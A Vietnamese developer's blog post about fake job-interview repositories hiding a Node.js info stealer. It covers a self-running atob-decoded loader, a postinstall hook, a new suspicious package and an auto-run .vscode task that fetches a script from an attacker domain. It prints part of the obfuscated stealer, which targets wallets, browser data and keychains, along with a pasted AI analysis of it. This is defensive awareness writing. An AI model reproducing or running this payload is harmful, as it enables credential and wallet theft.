Bạn có bao giờ nghĩ rằng việc clone một repo trên GitHub hay cài đặt một package “vô hại” có thể khiến bạn mất toàn bộ thông tin nhạy cảm trong máy không?
Là một lập trình viên, chắc hẳn anh chị em không còn xa lạ gì với việc clone code sample trên github hay đơn giản là cài một public package mà đôi khi “không rõ nguồn gốc”
Hay những lần phỏng vấn job freelance được yêu cầu clone code về và thực hiện một số yêu cầu trên source code đó?
Gần đây tôi có nhận được 2 repositories code khi phỏng vấn dự án với yêu cầu phải chạy code lên và “fix bug”.
Cùng đi vào tìm hiểu để biết được mánh khóe qua mặt chúng ta cũng như phần nào cách phòng chống nhé.
Lần 1: Phỏng vấn dự án game NFT
Nói quá một chút thì dự án này yêu cầu background developer biết về blockchain và sử dụng ubuntu để code, khách hàng gửi 1 repo code yêu cầu tôi clone về và chạy lên, cùng xem repo này có gì nhé.
`truongtt@Lap-549:~/Downloads/Malware/chainsaw012$ tree
├── config-overrides.js
├── Contract
│ ├── Contracts
│ ├── migrations
├── package.json
├── package-lock.json
├── server
│ ├── app.js
│ ├── bin
│ ├── contract
│ ├── dao
│ ├── helper
│ │ ├── characterHelper.js
│ ├── models
│ ├── public
│ ├── routes
│ ├── utils
│ └── views
└── src
├── [Nhiều files khác]
`
Ở đây thoạt nhìn qua tree thì thấy là một dự án vô cùng bình thường với cầu trúc vô cùng bình thường, nhưng trước khi install bất kỳ thứ gì hay chạy bất kỳ dòng lệnh nào chúng ta trước tiên phải đọc xem nó làm gì trước chứ nhỉ?
Với các dự án js thì đầu tiên chúng ta cần check package.json
Tại sao?
Vì ở đây định nghĩa các lệnh cơ bản chạy dự án cũng như các package được dùng trong dự án, là những thứ chúng ta sẽ động đến đầu tiên khi chạy dự án

Nhìn khá uy tín nhỉ?
Tôi đã kiểm tra các package sử dụng ở depndencies nhưng không có gì đáng ngờ cả vì thế nên hãy bắt đầu ở script “start”
Lần đến sever/app.js

Ở đây các phần config cũng khá bình thường, nhưng nếu để ý kỹ thì cũng ta sẽ thấy ở dòng số 8
var config = require(“./configSys”)
Mò vào trong xem có gì nào

boom! chúng ta thấy 1 biến đang được gán global là chuỗi characterKey khá đáng ngờ
Khi tìm xem nó đang được dùng ở đâu thì tôi tìm thấy đang được dùng ở 1 file khác là characterHelper.js

Đến đây ta lại thấy hàm initCharacterConfig được defined nhưng không dùng, khá lạ đúng không?
Nhìn kỹ thì hàm này sẽ được thực thi nay khi defined ();
Hơn nữa lại còn dùng atob để giải mã chuỗi (đến đây thì mình sực ra là trên đời làm gì có ai viết key vào file js xong lại dùng hàm giải mã dùng ở file js khác??? SUSSSSS)
Cùng thử xem hàm này giải mã ra gì nhé?
****

Vậy ở đây được giải mã ra 1 endpoint lạ, tại sao lại phải mã hóa endpoint này khỏi mắt người?
Thử dùng trình duyệt để call đến endpoint trên (call đến thì không thể thực thi thứ nó trả về đâu nên không cần lo)
“{(function(0x2081e1,0x392a4d){const 0x1dc6c3=0x2081e1();function 0x4e2116(0x325dee,0x56cae1,0x1c89ec,_0x3aa56d){return _0x1b29(0x3aa56d- -0xcc,0x56cae1);}while(!![]){try{const _0x2343d7=-parseInt(0x4e2116(0x1d6,0x162,0x16c,0x1ef))/(0x1878+0x22*-0x97+0x469*-0x1)+-parseInt(0x4e2116(0x50,0x0,0x148,0x99))/(-0x5e*-0x67+0x1f*-0x1f+-0x220f)+parseInt(_0x4e2116(0x71,0x12a,0x7f,0xb5))/(-0x5*-0x745+0x156f+-0x39c5)+-parseInt(0x4e2116(0x154,0x33,0x15b,0xa4))/(-0x1cec+-0x467+-0x2157*-0x1)(parseInt(0x4e2116(0x49,0x4e,0x67,0x96))/(0x183*0x3+-0x125d+0xdd9))+-parseInt(0x4e2116(0x9e,0x4d,0x48,0xd8))/(-0x1b7b+0xc45-0x1+0x3*0xd42)+parseInt(0x4e2116(0x9a,0x1d3,0x176,0x125))/(-0x1*-0x581+0xeef*-0x2+0x1864)*(-parseInt(0x4e2116(0xc4,0x3a,0xb,0xa6))/(-0x1*0x59e+0x283*0x5+-0x1d*0x3d))+parseInt(0x4e2116(0x18,0xe,0xc6,0x89))/(-0x97*0x8+0x1a73*0x1+-0x15b2)(parseInt(_0x4e2116(0x123,0xae,0x43,0x8e))/(-0xf-0x75+0x1ff+-0x8*0x11a));if(0x2343d7===0x392a4d)break;else 0x1dc6c3‘push’;}catch(_0x34d9ca){_0x1dc6c3‘push’;}}}(0x18ba,0xaba1a+0x1445*-0xae+-0x2b69*-0x48));const _0x332e43=(function(){const _0x96a36c={};0x96a36c[0x49183a(0x39d,0x31b,0x2db,0x340)]=function(0x418af7,0x380a96){return 0x418af7===0x380a96;};function 0x49183a(0x5dd71e,_0x31bb93,0x1a224a,0x50af2b){return _0x1b29(0x5dd71e-0x1d8,0x31bb93);}0x96a36c[0x49183a(0x419,0x356,0x3bb,0x3a4)]=0x49183a(0x43d,0x445,0x3ea,0x3ea);const _0x18a705=0x96a36c;let _0x2acf5=!![];return function(0x5572ab,0x4ff914){const 0x550dfa={‘vvaVH’:function(0x1d2246,0x21e20e){return 0x1d2246(0x21e20e);},’hHMlM’:function(_0x1971a4,0x245833){return _0x1971a4(0x245833);},’LnihD’:function(0x1dd912,_0x150cd5){return _0x18a705‘UJsBr’;},’MuLri’:0x18a705[0x1f47f0(0x1d7,0x290,0x34e,0x2fc)]};function 0x1f47f0(_0x5129f3,0x249090,0x30c260,0xf90f69){return _0x49183a(0x249090- -0x189,0x30c260,0x30c260-0x7a,0xf90f69-0x176);}const 0xa769e0=_0x2acf5?function(){function _0x461645(0x58b6ba,0x5922cd,0x36e862,_0x15ac55){return _0x1f47f0(0x58b6ba-0x50,_0x15ac55- -0x9e,0x58b6ba,0x15ac55-0xe4);}if(_0x550dfa_0x461645(0x1b4,0x1e6,0x2aa,0x201)){const _0x15b7d9={};0x15b7d9[‘filename’]=0x17d170+0x461645(0x1f9,0x26b,0x28c,0x223),0x2fdee3_0x461645(0x152,0x1b9,0x5e,0xf5);}else{if(_0x4ff914){if(_0x550dfa[‘LnihD’](_0x461645(0x20f,0x267,0x299,0x213),0x461645(0x2ca,0x1d8,0x1e0,0x213))){const _0x50668a=_0x4ff914‘apply’;return _0x4ff914=null,0x50668a;}else{let 0x1820d2=_0x38b10b_0x461645(0x269,0x1e3,0x173,0x218);try{_0x51e77a[0x461645(0x19f,0x210,0x258,0x237)](_0x1820d2,_0x550dfa[0x461645(0x132,0x1b3,0x258,0x1aa)](0x4c336a,’~/’)+0x461645(0x148,0x269,0x237,0x1af)+_0x4510e0);const _0x348eb0={};0x348eb0[0x461645(0x1ac,0x16b,0x159,0x15b)]=0x5626f2+’‘+0x4c908b,_0x16213c_0x461645(0x6b,0x18a,0x16c,0xf5),_0x220fa6+=0x1*0x98b+-0xf*0x23b+-0x9d*-0x27;}catch(_0x53a7a4){}}}}}:function(){};return _0x2acf5=![],_0xa769e0;};}()),_0x2dc5dc=_0x332e43(this,function(){const _0x563f48={};_0x563f48[_0x6e38f9(0x87,0xba,-0x67,0x2a)]=_0x6e38f9(-0x87,-0x168,-0x2d,-0xcf)+’+$’;function _0x6e38f9(_0x3d4b08,_0x2ee389,_0x5afc4,_0x1cda76){return _0x1b29(_0x1cda76- -0x211,_0x5afc4);}const _0x459df6=_0x563f48;return _0x2dc5dc_0x6e38f9(0x66,0x72,-0x4b,-0x2)‘search’_0x6e38f9(0xb1,-0x3b,0x48,-0x2)‘constructo’+’r’_0x6e38f9(0xa2,0x9a,0x12d,0x96);});function _0x18ba(){const _0x12e5f8=[‘\x20Support/e’,’uNgSd’,’VTCNJ’,’5cGFMDi’,’gjnckgkfmg’,’sGhDA’,’1755252sBfpce’,’/AppData/R’,’illa/Firef’,’us.wallet’,’FIFxb’,’mjXaR’,’readdirSyn’,’aeaoehlefn’,’isDirector’,’WEzJa’,’yUTSU’,’2817352LSOPKT’,’KcJNL’,’1793072lcqsAA’,’oftware.Op’,’geUfd’,’:1224′,’VPDgi’,’re/Brave-B’,’zjEjm’,’DSQnd’,’rowser’,’lgQJW’,’AhzbP’,’WFYFG’,’Roaming/Op’,’MrYcU’,’bhhhlbepdk’,’2020353lTQItE’,’/uploads’,’NxIQV’,’pld‘,’dTGWZ’,’EcFki’,’e\x22\x20\x22′,’kpYVI’,’data’,’hMccQ’,’gpHcQ’,’\x20Support/G’,’afbcbjpbpf’,’i.npoint.i’,’fXysI’,’size’,’/.config/s’,’CXqNd’,’return\x20(fu’,’table’,’ain’,’proto‘,’RcAmV’,’DUcZB’,’hHMlM’,’ser’,’.wallet’,’ox/Profile’,’/client/’,’/storage/d’,’OYMBk’,’ngcnapndod’,’hsaTI’,’Upvuw’,’warn’,’5332998TwkPEW’,’pplication’,’txt’,’trace’,’HCHdb’,’uOEyN’,’filename’,’kodbefgpgk’,’accessSync’,’PIohQ’,’hostname’,’idb’,’kjFBz’,’omaabbefbm’,’ome’,’xBZfM’,'{}.constru’,’/ld_’,’wjeLZ’,’tar\x20-xf\x20′,’lmeeeajnim’,’cdCli’,’brld_’,’ahbmgdjkbp’,’/Library/K’,’rn\x20this\x22)(‘,’ejbalbakop’,’nBSwq’,’nwfra’,’DVXaW’,’MdGpc’,’catch’,’RSBIq’,’UJsBr’,’YYfJa’,’Browser’,’jqXcc’,’EpSOP’,’\x5cpython.ex’,’KUlQf’,’BraveSoftw’,’replace’,’log’,’Lxhvz’,’NpHBS’,’get’,’cvGzY’,’yKloX’,’KVYki’,’xodus/exod’,’arrayBuffe’,’FMXIb’,’AYGpf’,’oTuAX’,’rename’,’dus/exodus’,’cfgodnhcel’,’path’,’/.n3′,’TgztK’,’tings’,’dirname’,’aholpfdial’,’renameSync’,’QbBRj’,’ension\x20Set’,’dgccekpkcb’,’eychains/l’,’/Library/A’,’includes’,’QfjAa’,’Gcstm’,’lubSv’,’wGWpP’,’GPVSc’,’f5739bcbae’,’BOaCh’,’21jzkvne’,’fOPia’,’BDKId’,’.files’,’forEach’,’uLWAK’,’Dmopo’,’dRqBH’,’vvaVH’,’/.nlq\x22′,’axios’,’/User\x20Data’,’fhbohimael’,’/.n3/tp’,’WEFkV’,’eMDKb’,’TRVIZ’,’mkdir’,’hifafgmccd’,’KYpwV’,’opcgpfmipi’,’gMXmq’,’JpNnn’,’kOqhv’,’bMOav’,’statSync’,’Vhmoe’,’Default’,’apagcccfch’,’GwbWT’,’toString’,’are/Brave-‘,’Q1LjE0MC4x’,’bohpjbbldc’,’lpnlx’,’NjcuMjE4Oj’,’NIAGw’,’ZnoOV’,’XPjMN’,’frvAR’,’Stream’,’QqPrL’,’bapadjdnno’,’nphplpgoak’,’ctor(\x22retu’,’FmWzY’,’pdflaleeob’,’exec’,’kUfLl’,’emcciiolgc’,’phepccionb’,’\x20Support/’,’fldfpgipfn’,’hRIDC’,’formData’,’lptim’,’jLHAH’,’User\x20Data’,’ABsXh’,’constructo’,’agoakfejja’,’taKvz’,’le/Chrome’,’zLxcE’,’AIDen’,’adlkmhmclh’,’WxgXi’,’Brave-Brow’,’aHdAs’,’CbRun’,’google-chr’,’son’,’\x20Support/B’,’JKUZF’,’XzmMZ’,’jkbgioiodb’,’EIgnh’,’existsSync’,’apply’,’prototype’,’ilprX’,’homedir’,’IzjlX’,’request’,’-db’,’iijedngplf’,’oaming/Exo’,’klXxh’,’uld’,’createRead’,’UklYK’,’lgmpcpglpn’,’HRYsc’,’xCpFu’,’zdYWh’,’LnihD’,’solana_id.’,’ophhpkkolj’,’MkSWG’,’KuzIh’,’tMcWR’,’zbkGh’,’AkORe’,’lchlghecda’,’aumPw’,’oajpbobppd’,’writeFileS’,’Local/Goog’,’soft/Edge/’,’tchTH’,’nNVfG’,’name’,’HhmdS’,’wiYaT’,’eSoftware/’,’FToza’,’wryAH’,’then’,’join’,’re/Opera\x20S’,’BXFQA’,’dLaLx’,’mcohilncbf’,’Google/Chr’,’maRzv’,’dgmoleebol’,’era’,’eBAKm’,’aUVsP’,’lst’,’CaUbH’,’logkc ….
Hàm này còn dài hơn nữa nhưng mình tạm cắt ở đây nhé, rõ ràng đây là 1 function được mã hóa cho người không đọc được :V ném cho AI đọc nhé
Based on the analysis of the file malware-sus you uploaded, this is malicious code. Specifically, it is a Node.js Info Stealer (Stealer Log).
It is designed to run on a victim’s computer (Windows or macOS), scan for sensitive information—specifically cryptocurrency wallets and browser credentials—and upload them to a remote server.
Here is a breakdown of the evidence found within the file:
- Malicious Functionality The code contains distinct logic blocks intended to steal specific types of data: Crypto Wallet Theft: The script explicitly searches for Exodus and Solana wallets. It looks for paths like exodus.wallet and .wallet files. It checks for solana_id.json. Browser Data Theft: It targets a wide range of web browsers to steal login data, cookies, and local storage. Browsers targeted: Google Chrome, Brave Browser, Opera, Mozilla Firefox, and Microsoft Edge. Specific files targeted: It looks for Local Storage, Login Data, and Local Extension Settings. System Credentials: On macOS systems, it attempts to access the Keychain (/Library/Keychains/login.keychain), which stores saved passwords and certificates.
- Reconnaissance and Platform Checks The script adapts its behavior based on the operating system: It uses os.platform() and os.homedir() to determine if it is running on Windows (checking for ‘w’ or ‘win32’) or macOS/Linux. It dynamically constructs file paths using AppData (Windows) or /Library/Application Support (macOS) based on these checks.
- Data Exfiltration Once the data is collected, the script attempts to send it to an attacker-controlled server: C2 Server: The file mentions a URL https://ip-api-check-nine.vercel.app, likely acting as a Command and Control (C2) server or a drop point for the stolen data. Upload Mechanism: It uses the axios library to perform HTTP POST requests (axios.post) to upload the stolen files. Token Authentication: It uses a header bearrtoken: logo to authenticate with the malicious server.
- Obfuscation The code uses heavy obfuscation to hide its intent from antivirus software and researchers: It uses a “String Array” technique (e.g., _0x12e5f8), where readable strings are stored in a large list and accessed via a decoder function (e.g., _0x4c96d7) that performs mathematical operations to retrieve the correct string. Variable names are randomized (e.g., _0x2081e1, _0x392a4d) to make the logic harder to read. Recommendation Do not execute this file. Delete the file immediately. Scan your system: If you suspect this file was executed, run a full scan with a reputable antivirus or anti-malware solution. Change Passwords: If this script ran on your machine, assume your browser passwords and crypto wallets are compromised. Transfer funds to a new wallet and change passwords for all accounts saved in your browsers. Would you like me to explain how the specific obfuscation in the _0x4c96d7 function works?
Đến đây có thể kết luận đây là đoạn code malware ăn cắp thông tin của chúng ta rồi, quá nhiều điểm đáng ngờ.
Đối với cách tấn công lần này không phải mới, nó đã được nhắc đến trong cộng đồng developer rồi nhưng không phải ai cũng từng gặp. Và nói chung cách này khá “thô sơ” và dễ bị phát hiện.
Sau lần này phía tôi và bộ phận sales, pre-sales đã contact lại với bên tuyển dụng thông báo có malware trong source code và nhận được pending với lý do “Dev cũ để lại mã độc”, dự án dừng khoảng 1 đến 2 tháng
Lần 2: Sau 1 đến 2 tháng thì họ quay lại với lời giải thích cũ và yêu cầu phỏng vấn tiếp nhưng với yêu cầu cũ “chạy code lên và fix bug”
Với kinh nghiệm từ lần trước thì đương nhiên lần này tôi cũng không chạy code ngay mà phải “điều tra” xem họ đưa mình thứ gì.
truongtt@Lap-549:~/Downloads/Game-Fi$ tree
.
├── config-overrides.js
├── Contract
├── package.json
├── package-lock.json
├── public
├── README.md
├── server
│ ├── app.js
[Nhiều files khác]
└── yarn.lock
Như cũ, source tree cũng không có gì đáng ngờ cả, vậy lại vào mò package.json thôi

Ở package.json tôi tìm thấy một vài điểm đáng ngờ
- tại sao lại có lệnh “postinstall”: “npm run start” ??? tại sao tôi lại phải chạy app của mình lên ngay sau khi install dependencies?
- ở dependencies có 1 package “jsonify-settings”: “^7.7.7” mới được public 8 ngày trước và chỉ có 1 version 7.7.7 với 53 lượt tải?

Thử search hàm atop xem có sử dụng cách tấn công cũ không thì không, ở đây không sử dụng cách cũ nữa
Mở folder source họ gửi ta nhìn thấy trong .vscode có 1 file đáng ngờ

Đọc file thì nhận thấy đôi với từng hệ điều hành khi mở folder sẽ thực hiện một số lệnh
khi và chỉ chi “TRUSTED FOLDER” và setting Allow Automatic Tasks = “on”
Các lệnh sẽ được chạy ẩn mà chúng ta sẽ không hề biết điều gì vừa xảy ra với máy của mình.
Không những thế domain https:vscode-setup.vercel.app là một domain cực kỳ đáng ngờ nếu không muốn ngay lập tức khẳng định là malware
Thử xem nó sẽ làm gì nhé :V
mình sẽ chạy lệnh command ở linux nhưng không có hậu tố | sh

Đọc những gì nó sẽ thực thi, cơ bản nó sẽ 1 lần nữa gọi đi để tải 1 số files về `TARGET_DIR=”$HOME/.vscode”
Thử xem nó tải về gì nhé?

Rồi, ở đây nó thực hiện tải file env-setup.js từ http://vscode-setup.vercel.app
Mình thử tải về đọc xem trong file có gì nhé

Sau đó thử lấy xem response là gì Ở đây nghiêm cấm không thực hiện hàm eval nhé

Boom! chính là đoạn script scam ở lần 1
=> Đến đây có thể khẳng định đây là scam lần 2 rồi
Ở đây script chỉ nhắm đến ví điện tử của developer, nhưng suy rộng ra, chúng hoàn toàn có thể nhắm đến các ssh keys của chúng ta.
Mục tiêu cũng rất rõ ràng là các công ty SI, nhắm vào developer level cao như Senior hay Techlead (những người cầm keys quan trọng của dự án)
=> Bài học ở đây là gì?
Luôn kiểm tra rõ ràng những thứ mình đang chuẩn bị tải về, chuẩn bị mở ra, chuẩn bị chạy.
Đặc biệt là luôn cần xác minh những thứ mình tải về và sẽ chạy lên, hiểu mới làm.